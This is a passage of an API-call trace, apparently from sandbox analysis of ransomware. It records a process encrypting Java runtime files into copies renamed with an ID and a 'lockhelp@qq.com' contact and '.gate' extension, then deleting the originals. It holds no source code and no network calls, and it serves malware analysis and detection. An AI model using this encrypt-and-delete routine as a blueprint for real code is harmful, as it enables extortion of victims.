lpString2=".ttf") returned 1 [0294.469] lstrlenW (lpString=".rar") returned 4 [0294.469] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.469] lstrlenW (lpString=".bz2") returned 4 [0294.470] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.470] lstrlenW (lpString=".7z") returned 3 [0294.470] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0294.470] lstrlenW (lpString=".dbf") returned 4 [0294.470] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0294.470] lstrlenW (lpString=".1cd") returned 4 [0294.470] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0294.470] lstrlenW (lpString=".jpg") returned 4 [0294.470] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0294.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0294.470] lstrlenW (lpString=".doc") returned 4 [0294.470] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.470] lstrlenW (lpString=".docx") returned 5 [0294.470] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0294.470] lstrlenW (lpString=".pdf") returned 4 [0294.470] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.470] lstrlenW (lpString=".xls") returned 4 [0294.470] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.470] lstrlenW (lpString=".xlsx") returned 5 [0294.470] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0294.470] lstrlenW (lpString=".ppt") returned 4 [0294.470] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.470] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0294.470] lstrlenW (lpString=".zip") returned 4 [0294.470] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0294.470] lstrlenW (lpString=".rar") returned 4 [0294.470] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.470] lstrlenW (lpString=".bz2") returned 4 [0294.471] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.471] lstrlenW (lpString=".7z") returned 3 [0294.471] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0294.471] lstrlenW (lpString=".dbf") returned 4 [0294.471] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0294.471] lstrlenW (lpString=".1cd") returned 4 [0294.471] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0294.471] lstrlenW (lpString=".jpg") returned 4 [0294.471] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.471] lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0294.471] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22 [0294.471] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0294.498] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=317896) returned 1 [0294.499] CloseHandle (hObject=0x4b8) returned 1 [0294.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0294.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.499] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0294.499] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.499] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.499] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0294.500] GetLastError () returned 0x0 [0294.500] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x4d9c8, lpOverlapped=0x0) returned 1 [0294.809] WriteFile (in: hFile=0x4e8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x4d9d0, lpOverlapped=0x0) returned 1 [0294.814] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.814] WriteFile (in: hFile=0x4e8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x100, lpOverlapped=0x0) returned 1 [0294.814] SetEndOfFile (hFile=0x4e8) returned 1 [0294.814] CloseHandle (hObject=0x4e8) returned 1 [0294.814] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.814] SetEndOfFile (hFile=0x4b8) returned 1 [0294.855] CloseHandle (hObject=0x4b8) returned 1 [0294.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.864] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1 [0294.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0294.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0294.869] lstrlenW (lpString=".doc") returned 4 [0294.869] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.869] lstrlenW (lpString=".docx") returned 5 [0294.869] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0294.869] lstrlenW (lpString=".pdf") returned 4 [0294.869] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.869] lstrlenW (lpString=".xls") returned 4 [0294.869] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.869] lstrlenW (lpString=".xlsx") returned 5 [0294.869] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0294.869] lstrlenW (lpString=".ppt") returned 4 [0294.869] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0294.869] lstrlenW (lpString=".zip") returned 4 [0294.869] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0294.869] lstrlenW (lpString=".rar") returned 4 [0294.869] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.869] lstrlenW (lpString=".bz2") returned 4 [0294.869] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.870] lstrlenW (lpString=".7z") returned 3 [0294.870] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0294.870] lstrlenW (lpString=".dbf") returned 4 [0294.870] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0294.870] lstrlenW (lpString=".1cd") returned 4 [0294.870] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0294.870] lstrlenW (lpString=".jpg") returned 4 [0294.870] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0294.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0294.870] lstrlenW (lpString=".doc") returned 4 [0294.870] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0294.870] lstrlenW (lpString=".docx") returned 5 [0294.870] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0294.870] lstrlenW (lpString=".pdf") returned 4 [0294.870] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0294.870] lstrlenW (lpString=".xls") returned 4 [0294.870] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0294.870] lstrlenW (lpString=".xlsx") returned 5 [0294.870] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0294.870] lstrlenW (lpString=".ppt") returned 4 [0294.870] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0294.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0294.870] lstrlenW (lpString=".zip") returned 4 [0294.870] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0294.870] lstrlenW (lpString=".rar") returned 4 [0294.870] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0294.870] lstrlenW (lpString=".bz2") returned 4 [0294.870] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0294.870] lstrlenW (lpString=".7z") returned 3 [0294.871] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0294.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0294.871] lstrlenW (lpString=".dbf") returned 4 [0294.871] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0294.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0294.871] lstrlenW (lpString=".1cd") returned 4 [0294.871] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0294.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0294.871] lstrlenW (lpString=".jpg") returned 4 [0294.871] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0294.871] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0294.871] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33 [0294.871] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0294.871] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=13962) returned 1 [0294.871] CloseHandle (hObject=0x4b8) returned 1 [0294.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0294.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.872] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0294.872] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.872] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.872] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0294.872] GetLastError () returned 0x0 [0294.872] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x368a, lpOverlapped=0x0) returned 1 [0294.927] WriteFile (in: hFile=0x4f4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x3690, lpOverlapped=0x0) returned 1 [0294.928] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.928] WriteFile (in: hFile=0x4f4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x116, lpOverlapped=0x0) returned 1 [0294.928] SetEndOfFile (hFile=0x4f4) returned 1 [0295.109] CloseHandle (hObject=0x4f4) returned 1 [0295.110] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.110] SetEndOfFile (hFile=0x4b8) returned 1 [0295.113] CloseHandle (hObject=0x4b8) returned 1 [0295.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0295.113] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1 [0295.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0295.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0295.114] lstrlenW (lpString=".doc") returned 4 [0295.114] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0295.114] lstrlenW (lpString=".docx") returned 5 [0295.114] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0295.114] lstrlenW (lpString=".pdf") returned 4 [0295.114] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0295.114] lstrlenW (lpString=".xls") returned 4 [0295.114] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0295.114] lstrlenW (lpString=".xlsx") returned 5 [0295.114] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0295.114] lstrlenW (lpString=".ppt") returned 4 [0295.114] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0295.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0295.114] lstrlenW (lpString=".zip") returned 4 [0295.114] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0295.114] lstrlenW (lpString=".rar") returned 4 [0295.114] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0295.114] lstrlenW (lpString=".bz2") returned 4 [0295.114] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0295.114] lstrlenW (lpString=".7z") returned 3 [0295.114] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0295.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0295.114] lstrlenW (lpString=".dbf") returned 4 [0295.114] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0295.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0295.114] lstrlenW (lpString=".1cd") returned 4 [0295.114] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0295.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0295.114] lstrlenW (lpString=".jpg") returned 4 [0295.114] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0295.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0295.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0295.115] lstrlenW (lpString=".doc") returned 4 [0295.115] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0295.115] lstrlenW (lpString=".docx") returned 5 [0295.115] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0295.115] lstrlenW (lpString=".pdf") returned 4 [0295.115] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0295.115] lstrlenW (lpString=".xls") returned 4 [0295.115] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0295.115] lstrlenW (lpString=".xlsx") returned 5 [0295.115] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0295.115] lstrlenW (lpString=".ppt") returned 4 [0295.115] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0295.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0295.115] lstrlenW (lpString=".zip") returned 4 [0295.115] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0295.115] lstrlenW (lpString=".rar") returned 4 [0295.115] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0295.115] lstrlenW (lpString=".bz2") returned 4 [0295.115] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0295.115] lstrlenW (lpString=".7z") returned 3 [0295.115] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0295.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0295.115] lstrlenW (lpString=".dbf") returned 4 [0295.115] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0295.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0295.115] lstrlenW (lpString=".1cd") returned 4 [0295.115] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0295.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0295.115] lstrlenW (lpString=".jpg") returned 4 [0295.115] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0295.116] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0295.116] lstrlenW (lpString="javafx.properties") returned 17 [0295.116] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0295.116] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=56) returned 1 [0295.116] CloseHandle (hObject=0x4b8) returned 1 [0295.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0295.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.117] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0295.117] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.117] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.117] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0295.117] GetLastError () returned 0x0 [0295.117] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x38, lpOverlapped=0x0) returned 1 [0295.118] WriteFile (in: hFile=0x4f8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x40, lpOverlapped=0x0) returned 1 [0295.119] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.119] WriteFile (in: hFile=0x4f8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xf6, lpOverlapped=0x0) returned 1 [0295.119] SetEndOfFile (hFile=0x4f8) returned 1 [0295.119] CloseHandle (hObject=0x4f8) returned 1 [0295.119] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.119] SetEndOfFile (hFile=0x4b8) returned 1 [0295.122] CloseHandle (hObject=0x4b8) returned 1 [0295.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0295.122] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1 [0295.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0295.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0295.123] lstrlenW (lpString=".doc") returned 4 [0295.123] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0295.123] lstrlenW (lpString=".docx") returned 5 [0295.123] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0295.123] lstrlenW (lpString=".pdf") returned 4 [0295.123] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0295.123] lstrlenW (lpString=".xls") returned 4 [0295.123] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0295.123] lstrlenW (lpString=".xlsx") returned 5 [0295.123] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0295.123] lstrlenW (lpString=".ppt") returned 4 [0295.123] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0295.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0295.123] lstrlenW (lpString=".zip") returned 4 [0295.123] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0295.123] lstrlenW (lpString=".rar") returned 4 [0295.123] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0295.123] lstrlenW (lpString=".bz2") returned 4 [0295.124] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0295.124] lstrlenW (lpString=".7z") returned 3 [0295.124] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0295.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0295.124] lstrlenW (lpString=".dbf") returned 4 [0295.124] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0295.124] lstrlenW (lpString="C:\\Program 